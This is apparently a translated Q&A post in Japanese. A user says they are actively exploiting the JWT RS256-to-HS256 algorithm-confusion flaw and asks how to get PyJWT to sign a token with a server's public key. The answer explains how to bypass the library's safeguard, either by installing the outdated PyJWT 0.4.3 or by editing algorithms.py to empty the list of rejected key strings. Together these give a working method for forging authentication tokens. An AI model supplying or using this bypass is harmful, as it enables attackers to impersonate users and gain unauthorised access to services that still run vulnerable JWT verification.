私は現在、ここで説明されている脆弱性を悪用しています
https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/
JWTのアルゴリズムタイプをRSAからHMACに変更し、特定の公開鍵でトークンに署名できる場所。
しかし、私は以下を書きましたpythonコード:
import jwt
import base64
# consider 'publickey' as the servers public key
code =
jwt.encode({'login':'test'},'publickey',algorithm='HS256')
これはエラーをスローします:
InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
非対称キーを使用して正常に署名できる別の方法を探しています。
ありがとう
この例外がまだ実装されていない古いバージョンのpyjwt(0.4.3)を使用してください。
pip install pyjwt==0.4.3
プログラムを実行すると、例外をスローする行が報告されます。
File "/some-path/site-packages/jwt/algorithms.py", line 151, in prepare_key
'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
そのため、151行目あたりの/some-path/site-packages/jwt/algorithms.pyファイルを編集して、例外がスローされないようにします。
たとえば、これをそこに入れます:
invalid_strings = []